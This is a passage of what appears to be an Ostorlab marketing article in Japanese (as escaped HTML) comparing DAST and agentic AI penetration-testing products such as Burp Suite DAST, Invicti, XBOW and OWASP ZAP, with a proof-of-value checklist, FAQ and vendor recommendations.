&lt;td style="text-align: left;"&gt;エージェント主導&lt;/td&gt;
&lt;td style="text-align: left;"&gt;コミュニティ管理&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;認証済みテスト&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;対応&lt;/td&gt;
&lt;td style="text-align: left;"&gt;対応&lt;/td&gt;
&lt;td style="text-align: left;"&gt;対応&lt;/td&gt;
&lt;td style="text-align: left;"&gt;対応&lt;/td&gt;
&lt;td style="text-align: left;"&gt;対応&lt;/td&gt;
&lt;td style="text-align: left;"&gt;記載された要件のもとで対応&lt;/td&gt;
&lt;td style="text-align: left;"&gt;コミュニティ管理&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;APIセキュリティテスト&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;対応&lt;/td&gt;
&lt;td style="text-align: left;"&gt;対応&lt;/td&gt;
&lt;td style="text-align: left;"&gt;対応&lt;/td&gt;
&lt;td style="text-align: left;"&gt;対応&lt;/td&gt;
&lt;td style="text-align: left;"&gt;対応&lt;/td&gt;
&lt;td style="text-align: left;"&gt;ターゲットモデルによる制限あり&lt;/td&gt;
&lt;td style="text-align: left;"&gt;コミュニティ管理&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;CI/CD連携&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;対応&lt;/td&gt;
&lt;td style="text-align: left;"&gt;対応&lt;/td&gt;
&lt;td style="text-align: left;"&gt;対応&lt;/td&gt;
&lt;td style="text-align: left;"&gt;対応&lt;/td&gt;
&lt;td style="text-align: left;"&gt;対応&lt;/td&gt;
&lt;td style="text-align: left;"&gt;提案されたワークフローを確認&lt;/td&gt;
&lt;td style="text-align: left;"&gt;コミュニティ管理&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;自動検証&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;該当する場合に対応&lt;/td&gt;
&lt;td style="text-align: left;"&gt;該当するチェックで対応&lt;/td&gt;
&lt;td style="text-align: left;"&gt;対応する検出結果で実証ベース&lt;/td&gt;
&lt;td style="text-align: left;"&gt;攻撃のリプレイとエビデンス&lt;/td&gt;
&lt;td style="text-align: left;"&gt;製品により異なる&lt;/td&gt;
&lt;td style="text-align: left;"&gt;エージェントが実行する検証&lt;/td&gt;
&lt;td style="text-align: left;"&gt;ルールと設定に依存&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;エージェント型のワークフロー探索&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;対応&lt;/td&gt;
&lt;td style="text-align: left;"&gt;DASTの中核的な挙動としては公開文書に記載なし&lt;/td&gt;
&lt;td style="text-align: left;"&gt;製品ティアごとに確認&lt;/td&gt;
&lt;td style="text-align: left;"&gt;公開文書に記載なし&lt;/td&gt;
&lt;td style="text-align: left;"&gt;公開文書に記載なし&lt;/td&gt;
&lt;td style="text-align: left;"&gt;対応&lt;/td&gt;
&lt;td style="text-align: left;"&gt;公開文書に記載なし&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;ロジックの脆弱性の調査&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;Web Deep Agentic Scan&lt;/td&gt;
&lt;td style="text-align: left;"&gt;主にBurp Suite Professionalを通じたアナリスト主導&lt;/td&gt;
&lt;td style="text-align: left;"&gt;エージェント型のスコープを確認&lt;/td&gt;
&lt;td style="text-align: left;"&gt;公開文書に記載なし&lt;/td&gt;
&lt;td style="text-align: left;"&gt;公開文書に記載なし&lt;/td&gt;
&lt;td style="text-align: left;"&gt;到達可能な範囲で対応&lt;/td&gt;
&lt;td style="text-align: left;"&gt;主にアナリスト主導&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;脆弱性の連鎖&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;エージェント型スキャンで対応&lt;/td&gt;
&lt;td style="text-align: left;"&gt;主にアナリスト主導&lt;/td&gt;
&lt;td style="text-align: left;"&gt;エージェント型のスコープを確認&lt;/td&gt;
&lt;td style="text-align: left;"&gt;公開文書に記載なし&lt;/td&gt;
&lt;td style="text-align: left;"&gt;公開文書に記載なし&lt;/td&gt;
&lt;td style="text-align: left;"&gt;発見された範囲で対応&lt;/td&gt;
&lt;td style="text-align: left;"&gt;主にアナリスト主導&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;複数アセットのコンテキスト&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;Multi-Asset Deep Agentic Scan&lt;/td&gt;
&lt;td style="text-align: left;"&gt;公開文書に記載なし&lt;/td&gt;
&lt;td style="text-align: left;"&gt;統合されたAppSecポートフォリオ&lt;/td&gt;
&lt;td style="text-align: left;"&gt;統合されたRapid7のコンテキスト&lt;/td&gt;
&lt;td style="text-align: left;"&gt;統合されたAppScanポートフォリオ&lt;/td&gt;
&lt;td style="text-align: left;"&gt;対応するWebターゲットに限定&lt;/td&gt;
&lt;td style="text-align: left;"&gt;公開文書に記載なし&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;クラウドデプロイ&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;対応&lt;/td&gt;
&lt;td style="text-align: left;"&gt;対応&lt;/td&gt;
&lt;td style="text-align: left;"&gt;対応&lt;/td&gt;
&lt;td style="text-align: left;"&gt;対応&lt;/td&gt;
&lt;td style="text-align: left;"&gt;対応&lt;/td&gt;
&lt;td style="text-align: left;"&gt;対応&lt;/td&gt;
&lt;td style="text-align: left;"&gt;ユーザー管理&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;プライベートスキャン&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;オプションのOn-Premises Scanner&lt;/td&gt;
&lt;td style="text-align: left;"&gt;セルフホスト型デプロイが利用可能&lt;/td&gt;
&lt;td style="text-align: left;"&gt;デプロイオプションを確認&lt;/td&gt;
&lt;td style="text-align: left;"&gt;プライベートスキャンエンジン&lt;/td&gt;
&lt;td style="text-align: left;"&gt;プライベートサイトおよびエンタープライズ向けオプション&lt;/td&gt;
&lt;td style="text-align: left;"&gt;ターゲットへのアクセスが必要&lt;/td&gt;
&lt;td style="text-align: left;"&gt;ユーザー管理&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;公開ドキュメントと商用パッケージは変化します。すべてのベンダーに、同じアプリケーション、アカウント、ワークフロー、成功基準での実演を求めるべきです。&lt;/p&gt;
&lt;h2 id="比較から得られた主な知見"&gt;比較から得られた主な知見&lt;/h2&gt;
&lt;h3 id="「aiを活用した」は必ずしもエージェント型を意味しない"&gt;「AIを活用した」は必ずしもエージェント型を意味しない&lt;/h3&gt;
&lt;p&gt;AIは、アプリケーションを自律的にテストすることなく、検出結果の要約、修正の生成、脆弱性の優先順位付け、設定の支援に使われることがあります。&lt;/p&gt;
&lt;p&gt;エージェント型ペネトレーションテストでは、システムが承認された環境内でアクションを実行し、その結果を観察し、調査を適応させ、何が起きたかのエビデンスを保存する必要があります。&lt;/p&gt;
&lt;h3 id="ポートフォリオ全体のテストには引き続きdastが必要"&gt;ポートフォリオ全体のテストには引き続きDASTが必要&lt;/h3&gt;
&lt;p&gt;組織には今も、大規模なアプリケーションポートフォリオ全体にわたる広範で定期的なテストが必要です。&lt;/p&gt;
&lt;p&gt;DASTは、確立された脆弱性クラスの検出、リグレッションの監視、反復可能なテストのソフトウェアデリバリーワークフローへの組み込みに引き続き有用です。エージェント型テストがこれらの要件をなくすわけではありません。&lt;/p&gt;
&lt;h3 id="認証が評価の深さを決める"&gt;認証が評価の深さを決める&lt;/h3&gt;
&lt;p&gt;技術的には有能なスキャナーでも、セッションを失ったり、ワークフローを操作できなかったり、ロールで制限された機能に到達できなかったりすれば、浅い結果しか得られない可能性があります。&lt;/p&gt;
&lt;p&gt;認証は、初期設定時だけでなく、スキャン全体を通じて評価すべきです。&lt;/p&gt;
&lt;h3 id="検出結果の量よりエビデンスが重要"&gt;検出結果の量よりエビデンスが重要&lt;/h3&gt;
&lt;p&gt;脆弱性の一覧が長いことは、必ずしもより良いテストを意味しません。&lt;/p&gt;
&lt;p&gt;有用な結果があれば、開発者とセキュリティアナリストは、何が起きたかを確認し、挙動を再現し、その影響を理解し、修正し、その修正を検証できます。&lt;/p&gt;
&lt;h3 id="接続されたアセットが隠れた攻撃経路を明らかにする"&gt;接続されたアセットが隠れた攻撃経路を明らかにする&lt;/h3&gt;
&lt;p&gt;Webの脆弱性は、APIの認可ルール、ソースコード内のシークレット、モバイルクライアントの挙動、ネットワークサービス、またはアーキテクチャ文書に依存している場合があります。&lt;/p&gt;
&lt;p&gt;これらのアセットを個別にテストすると、その関係が見えなくなる可能性があります。技術的なサーフェスごとに孤立した検出結果を出すのではなく、アプリケーション全体を理解することが目的である場合、複数アセットの分析が役立ちます。&lt;/p&gt;
&lt;h2 id="プラットフォーム別の詳細評価"&gt;プラットフォーム別の詳細評価&lt;/h2&gt;
&lt;h3 id="ostorlab"&gt;Ostorlab&lt;/h3&gt;
&lt;p&gt;Ostorlabは、従来型のWebアプリケーションスキャンとエージェント型ペネトレーションテストの機能を組み合わせています。&lt;/p&gt;
&lt;p&gt;そのWebスキャンのワークフローは、実行中のアプリケーションを一般的な脆弱性クラスについて評価し、認証済みテスト、エビデンスの収集、修復、監視、修正の検証に対応しています。&lt;/p&gt;
&lt;p&gt;ドキュメント化されている&lt;a href="https://docs.ostorlab.co/tutorials/web_deep_agentic_scan.html" rel="noopener noreferrer" target="_blank"&gt;Web Deep Agentic Scan&lt;/a&gt;は、AIに導かれた探索によってこのワークフローを拡張します。エージェントはアプリケーションと対話し、ワークフローを調査し、脆弱性の仮説を検証し、実行時のレスポンスを使って次のアクションを決定します。&lt;/p&gt;
&lt;p&gt;このアプローチは、脆弱性の特定に単一のペイロードではなくアプリケーションのコンテキストが必要な場合に有効です。エージェント型のワークフローは、論理的な弱点を調査し、その影響を検証し、複数のアクションをつなげてエビデンスに裏付けられた攻撃経路を構成できます。&lt;/p&gt;
&lt;p&gt;Ostorlabはさらに、Multi-Asset Deep Agentic Scanも提供しています。これは、Webアプリケーション、API、モバイルアプリケーション、ソースコード、ネットワークターゲット、補足ファイルにまたがる接続されたコンテキストをエージェントに与えるものです。そのため、各アセットを無関係なターゲットとして扱うのではなく、コンポーネント間の関係をたどって調査できます。&lt;/p&gt;
&lt;p&gt;検出結果は、チケット管理、AI支援型のコード提案、再スキャンを含む修復および検証のワークフローと連携します。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;ドキュメント化されたデプロイ形態&lt;/strong&gt;：クラウド（オプションでOn-Premises Scanner）。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;重点&lt;/strong&gt;：従来型の自動DASTと、WebおよびMulti-Asset Deep Agentic Scanの機能を組み合わせ、ワークフローの調査、実行時の検証、接続されたアセットのテストを実現すること。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;確認すべき点&lt;/strong&gt;：認証のカバレッジ、含まれるスキャンプロファイル、エージェントの実行エビデンス、AIクレジットの使用量、スキャンの上限、アクティブテストの制御。&lt;/p&gt;
&lt;h3 id="portswigger burp suite dast"&gt;PortSwigger Burp Suite DAST&lt;/h3&gt;
&lt;p&gt;&lt;a href="https://portswigger.net/burp/documentation/dast" rel="noopener noreferrer" target="_blank"&gt;Burp Suite DAST&lt;/a&gt;は、一元管理された自動テスト向けに設計されたエンタープライズプラットフォームを通じてBurp Scannerを適用します。&lt;/p&gt;
&lt;p&gt;WebおよびAPIターゲット、スケジュールスキャン、課題追跡、ロールベースのアクセス、CI/CD連携、RESTおよびGraphQL APIに対応しています。&lt;/p&gt;
&lt;p&gt;Burp Suite DASTはBurp Suite Professionalとは別の製品です。DASTは一元的な自動化に重点を置き、Burp Suite Professionalはアナリスト主導の調査のための対話型ツールキットを提供します。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;重点&lt;/strong&gt;：Burp Scannerのテストエンジンを基盤とするエンタープライズ向けの自動DASTとAPIスキャン。CI/CD連携とスケーラブルなスキャンのオーケストレーションを備える。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;確認すべき点&lt;/strong&gt;：複雑な認証済みワークフロー、JavaScriptを多用するアプリケーション、APIの取り込み、エビデンスの品質、スキャン容量、デプロイアーキテクチャ、どの調査にBurp Suite Professionalが必要か。&lt;/p&gt;
&lt;h3 id="invicti"&gt;Invicti&lt;/h3&gt;
&lt;p&gt;&lt;a href="https://www.invicti.com/web-vulnerability-scanner" rel="noopener noreferrer" target="_blank"&gt;Invicti&lt;/a&gt;は、WebアプリケーションとAPI向けの自動DASTを提供します。&lt;/p&gt;
&lt;p&gt;そのProof-Based Scanning機能は、定義済みの検証手法によって対応する脆弱性クラスを確認し、結果にエビデンスを添付します。自動で検証できない検出結果は、実証に裏付けられた脆弱性と区別できる状態に保たれるべきです。&lt;/p&gt;
&lt;p&gt;実証ベースのスキャンとエージェント型テストは同じものではありません。実証ベースのスキャンは定義済みの手法を使って対応する検出結果を検証するのに対し、エージェント型テストはアプリケーションの挙動とコンテキストに合わせて調査を適応させます。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;重点&lt;/strong&gt;：検証済みの脆弱性確認のためのProof-Based Scanningと、開発者ワークフローとの連携を備えた、エンタープライズ向けの自動DAST。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;確認すべき点&lt;/strong&gt;：どの検出結果に実証が付くか、未確認の結果がどのようにラベル付けされるか、認証の信頼性、API形式への対応、提案されたティアにエージェント型の機能が含まれるかどうか。&lt;/p&gt;
&lt;h3 id="rapid7 insightappsec"&gt;Rapid7 InsightAppSec&lt;/h3&gt;
&lt;p&gt;&lt;a href="https://www.rapid7.com/products/insightappsec/" rel="noopener noreferrer" target="_blank"&gt;Rapid7 InsightAppSec&lt;/a&gt;は、実行中のWebアプリケーションをテストするためのクラウド管理型DAST製品です。&lt;/p&gt;
&lt;p&gt;Rapid7は、自動クロール、攻撃のリプレイ、スキャンのスケジュール設定、レポーティング、APIテスト、クラウドまたはプライベートのスキャンエンジンについてドキュメント化しています。アプリケーションの結果をRapid7プラットフォーム全体と結び付けることもできます。&lt;/p&gt;
&lt;p&gt;公開資料は、自律的なワークフロー調査よりもDASTに重点を置いています。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;重点&lt;/strong&gt;：ブラックボックスの攻撃リプレイ、API評価、Rapid7のセキュリティ運用エコシステムとの連携を備えた、クラウド管理型の動的アプリケーションセキュリティテスト。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;確認すべき点&lt;/strong&gt;：認証の持続性、JavaScriptのクロール、APIリクエストの生成、攻撃リプレイのエビデンス、プライベートエンジンの要件、アプリケーション数の上限、個別のライセンス要件。&lt;/p&gt;
&lt;h3 id="hcl appscan"&gt;HCL AppScan&lt;/h3&gt;
&lt;p&gt;&lt;a href="https://www.hcl-software.com/appscan" rel="noopener noreferrer" target="_blank"&gt;HCL AppScan&lt;/a&gt;は、動的テスト、静的テスト、ソフトウェア構成テストを含むアプリケーションセキュリティ製品ファミリーです。&lt;/p&gt;
&lt;p&gt;そのDAST機能は、AppScan Standard、AppScan Enterprise、AppScan on Cloudなどの製品を通じて提供されます。記録された探索により、認証が必要な機能や到達が難しい機能のナビゲーションデータとトラフィックデータを得られます。&lt;/p&gt;
&lt;p&gt;AppScanは製品ファミリーであるため、購入者は必要な各機能をどのエディションが提供するかを特定する必要があります。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;重点&lt;/strong&gt;：記録された探索、プライベートサイトのスキャン、ハイブリッド環境にまたがるエンタープライズ向けコンプライアンスレポーティングを備えた、ポートフォリオ全体の動的アプリケーションセキュリティテスト。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;確認すべき点&lt;/strong&gt;：製品エディション、認証済みの探索、スキャン基盤、APIカバレッジ、レポーティング、デプロイ、ライセンス、提案された製品におけるAIの役割。&lt;/p&gt;
&lt;h3 id="xbow"&gt;XBOW&lt;/h3&gt;
&lt;p&gt;&lt;a href="https://docs.xbow.com/console/get-started/introduction/" rel="noopener noreferrer" target="_blank"&gt;XBOW&lt;/a&gt;は、AIエージェントを使ったWebアプリケーション向けの自律型ペネトレーションテストを提供します。&lt;/p&gt;
&lt;p&gt;そのエージェントは、アプリケーションと対話し、レスポンスに応じて攻撃を適応させ、テストを実行し、検証済みの脆弱性を報告します。&lt;/p&gt;
&lt;p&gt;XBOWは、一回の評価で大規模または複雑なアプリケーションのすべてのエンドポイントを網羅的にテストできるとは限らないことも明記しています。そのため、カバレッジの透明性がその評価の重要な要素となります。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;重点&lt;/strong&gt;：アプリケーションと対話し、レスポンスに応じて攻撃を適応させ、評価のカバレッジの欠落を明らかにする、自律型のエージェント型Webペネトレーションテスト。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;確認すべき点&lt;/strong&gt;：ターゲットとの互換性、認証とロールへの対応、カバレッジの欠落、保護対象URL、単独のAPIへの対応、エビデンス、再テスト、破壊的なアクションに対するセーフガード。&lt;/p&gt;
&lt;h3 id="owasp zap"&gt;OWASP ZAP&lt;/h3&gt;
&lt;p&gt;&lt;a href="https://www.zaproxy.org/docs/" rel="noopener noreferrer" target="_blank"&gt;OWASP ZAP&lt;/a&gt;は、オープンソースのWebアプリケーションセキュリティテストツールキットです。&lt;/p&gt;
&lt;p&gt;パッシブスキャンとアクティブスキャン、従来型およびAJAXのクロール、認証、APIの自動化、スクリプティング、アドオン、プロキシベースの手動テストに対応しています。&lt;/p&gt;
&lt;p&gt;ZAPは、マネージド型のエンタープライズ製品とは運用面で異なります。デプロイ、設定、スケーリング、保守、トリアージ、ワークフローとの連携の責任は組織側にあります。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;重点&lt;/strong&gt;：自動スパイダリング、アクティブスキャン、スクリプト化可能なワークフロー、プロキシベースの手動調査を提供する、オープンソースのWebアプリケーションセキュリティテストツールキット。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;確認すべき点&lt;/strong&gt;：認証スクリプト、AJAXのクロール、スキャンルール、アドオンの保守、APIカバレッジ、分散実行、レポーティング、エンジニアリングにかかる総工数。&lt;/p&gt;
&lt;h2 id="信頼できる価値検証の進め方"&gt;信頼できる価値検証の進め方&lt;/h2&gt;
&lt;table class="table table-striped"&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: left;"&gt;評価領域&lt;/th&gt;
&lt;th style="text-align: left;"&gt;検証手順&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;アプリケーションの検出&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;完全なルート一覧なしでアプリケーションを提供し、各ツールが何に到達するかを比較する&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;認証済み領域のカバレッジ&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;少なくとも2つのロールを使い、テスト全体を通じてセッションが有効なままであることを確認する&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;モダンなフロントエンドへの対応&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;動的ルートを持つ、JavaScriptを多用したシングルページアプリケーションを含める&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;APIテスト&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;API仕様を提供し、アプリケーションのトラフィックから検出されたエンドポイントと比較する&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;認可テスト&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;あるユーザーが別のユーザーのリソースにアクセスできてはならない、無害なテストケースを作成する&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;ロジックテスト&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;複数の正当なアクションを意図しない順序で行う必要があるワークフローの弱点を含める&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;エビデンスの品質&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;評価に関わっていない開発者に、重要な検出結果をそれぞれ再現してもらう&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;カバレッジの透明性&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;テストされなかったルート、ロール、エンドポイント、ワークフローを特定する&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;安全制御&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;ログアウト、削除、メッセージ送信、購入、その他の状態を変更するアクションを保護する&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;修正の検証&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;選択した検出結果を修正し、まったく同じ挙動を再テストする&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;ワークフロー連携&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;エビデンスを失うことなく、検出結果をチケット管理とCI/CDシステムに送る&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;運用コスト&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;セットアップ、スキャン容量、インフラ、ライセンス、AIの使用量、アナリストによるレビューを比較する&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;信頼できる価値検証は、次の問いに答えるべきです。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;ツールはどの機能に到達したか。&lt;/li&gt;
&lt;li&gt;何をテストしたか。&lt;/li&gt;
&lt;li&gt;どの検出結果が検証されたか。&lt;/li&gt;
&lt;li&gt;他の人がエビデンスを再現できたか。&lt;/li&gt;
&lt;li&gt;どの領域がテストされなかったか。&lt;/li&gt;
&lt;li&gt;プラットフォームは修正を検証したか。&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id="よくある質問"&gt;よくある質問&lt;/h2&gt;
&lt;h3 id="おすすめのwebアプリケーションセキュリティテストツールは何ですか"&gt;おすすめのWebアプリケーションセキュリティテストツールは何ですか&lt;/h3&gt;
&lt;p&gt;この比較で評価したツールは、Ostorlab、Burp Suite DAST、Invicti、Rapid7 InsightAppSec、HCL AppScan、XBOW、OWASP ZAPです。これらは、DASTのカバレッジ、エージェント型の調査、検証、認証、APIテスト、デプロイ、ワークフロー連携の点で異なります。&lt;/p&gt;
&lt;h3 id="最適なwebアプリケーションセキュリティスキャナーは何ですか"&gt;最適なWebアプリケーションセキュリティスキャナーは何ですか&lt;/h3&gt;
&lt;p&gt;最適なスキャナーとは、組織の実際のワークフローに確実に到達し、必要な脆弱性クラスをテストし、再現可能なエビデンスを提供し、修復と連携し、修正された検出結果を検証できるものです。&lt;/p&gt;
&lt;h3 id="dastとは何ですか"&gt;DASTとは何ですか&lt;/h3&gt;
&lt;p&gt;DASTは、リクエストを送信してそのレスポンスを分析することで、実行中のアプリケーションを外部から評価します。デプロイ済みのWebアプリケーションやAPI全体にわたる、反復可能な脆弱性テストによく使われます。&lt;/p&gt;
&lt;h3 id="エージェント型ペネトレーションテストとは何ですか"&gt;エージェント型ペネトレーションテストとは何ですか&lt;/h3&gt;
&lt;p&gt;エージェント型ペネトレーションテストは、自律型エージェントを使って、承認されたスコープ内でアプリケーションを観察し、テストアクションを選択し、レスポンスに適応し、攻撃経路を調査し、検出結果を検証します。&lt;/p&gt;
&lt;h3 id="dastとエージェント型ペンテストの違いは何ですか"&gt;DASTとエージェント型ペンテストの違いは何ですか&lt;/h3&gt;
&lt;p&gt;DASTは、定義済みのチェックを到達可能なアプリケーション機能全体に体系的に適用します。エージェント型ペンテストは、アプリケーションの挙動とコンテキストに応じて調査を適応させます。DASTは反復可能な広さを重視し、エージェント型テストは適応的な深さを重視します。&lt;/p&gt;
&lt;h3 id="エージェント型ペンテストはdastより優れていますか"&gt;エージェント型ペンテストはDASTより優れていますか&lt;/h3&gt;
&lt;p&gt;一概にはそうとは言えません。DASTはポートフォリオ全体に反復可能なカバレッジを提供し、エージェント型テストはアプリケーション固有のワークフローや複数ステップの攻撃経路を調査できます。多くの組織は、両方のアプローチを組み合わせることでメリットを得られます。&lt;/p&gt;
&lt;h3 id="エージェント型ペンテストはdastの代わりになりますか"&gt;エージェント型ペンテストはDASTの代わりになりますか&lt;/h3&gt;
&lt;p&gt;いいえ。エージェント型ペンテストによって、大規模なアプリケーションポートフォリオ全体に対する定期的なDASTの必要性がなくなるわけではありません。&lt;/p&gt;
&lt;h3 id="自動化ツールで認証が必要なアプリケーションをテストできますか"&gt;自動化ツールで認証が必要なアプリケーションをテストできますか&lt;/h3&gt;
&lt;p&gt;はい。ただし、得られるカバレッジは、対応しているログインフロー、セッションの持続性、ロールの設定、そして保護された機能をツールが操作できるかどうかに左右されます。&lt;/p&gt;
&lt;h3 id="webセキュリティテストツールでapiをテストできますか"&gt;WebセキュリティテストツールでAPIをテストできますか&lt;/h3&gt;
&lt;p&gt;はい。製品によっては、インポートした仕様、記録したトラフィック、アプリケーションの検出、またはエンドポイントの直接設定を通じてAPIをテストできます。購入者は、対応する形式と認証方式を確認すべきです。&lt;/p&gt;
&lt;h3 id="dastでビジネスロジックの脆弱性を見つけられますか"&gt;DASTでビジネスロジックの脆弱性を見つけられますか&lt;/h3&gt;
&lt;p&gt;DASTはロジックに関連する弱点の一部を検出できる可能性がありますが、定義済みのルールは一般に、アプリケーション固有のケースや複数ステップの悪用ケースにはあまり適していません。脆弱性がワークフローの意図の理解に依存する場合は、エージェント型または手動の調査が必要になることがあります。&lt;/p&gt;
&lt;h3 id="自動テストは手動のペネトレーションテストに取って代わりますか"&gt;自動テストは手動のペネトレーションテストに取って代わりますか&lt;/h3&gt;
&lt;p&gt;いいえ。自動テストはスケーラブルで反復可能なカバレッジを提供します。手動テストは、アプリケーション固有のロジック、アーキテクチャ、認可、珍しい攻撃経路に人間の判断を適用します。エージェント型テストはこのギャップの一部を縮める可能性がありますが、人間による監督の必要性をなくすものではありません。&lt;/p&gt;
&lt;h3 id="セキュリティテストツールはどのようなエビデンスを提供すべきですか"&gt;セキュリティテストツールはどのようなエビデンスを提供すべきですか&lt;/h3&gt;
&lt;p&gt;検出結果には、影響を受けるエンドポイント、リクエストとレスポンスのデータ、ペイロード、認証コンテキスト、再現手順、実証された影響、検証ステータスを含めるべきです。エージェント型ツールは、検出結果に至ったアクションも保存すべきです。&lt;/p&gt;
&lt;h3 id="owasp zapはエンタープライズ向けdastプラットフォームですか"&gt;OWASP ZAPはエンタープライズ向けDASTプラットフォームですか&lt;/h3&gt;
&lt;p&gt;OWASP ZAPは、エンタープライズのワークフローを支えることもできるオープンソースのテストツールキットです。ただし、別のマネージドサービスを通じて提供されない限り、デプロイ、スケーリング、チューニング、連携、保守、サポートは組織の責任となります。&lt;/p&gt;
&lt;h2 id="ostorlabからの最終的な推奨事項"&gt;Ostorlabからの最終的な推奨事項&lt;/h2&gt;
&lt;p&gt;Webアプリケーションセキュリティテストは、反復可能な自動カバレッジと、より深い文脈的な調査のどちらかを組織に選ばせるものであってはなりません。&lt;/p&gt;
&lt;p&gt;DASTは、確立された脆弱性クラスに対してアプリケーションとAPIを継続的にテストするために必要です。エージェント型ペネトレーションテストは、弱点がワークフローの理解、権限の比較、アプリケーションの状態の追跡、または複数の技術的な観察を一つの検証済み攻撃経路へとつなげることに依存する場合に価値を発揮します。&lt;/p&gt;
&lt;p&gt;Ostorlabは、これらのテストモデルを一つのアプリケーションセキュリティプラットフォーム内で結び付けます。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Webアプリケーションスキャン&lt;/strong&gt;は、実行中のアプリケーションと認証済みの機能に対する反復可能なテストを提供します。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Web Deep Agentic Scan&lt;/strong&gt;は、AIに導かれた探索を使って、論理的な脆弱性を調査し、攻撃経路をたどり、弱点を連鎖させ、実行時のエビデンスを生成します。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Multi-Asset Deep Agentic Scan&lt;/strong&gt;は、Webアプリケーション、API、モバイルアプリケーション、ソースコード、ネットワークアセット、補足ファイルのコンテキストを結び付けます。&lt;/li&gt;
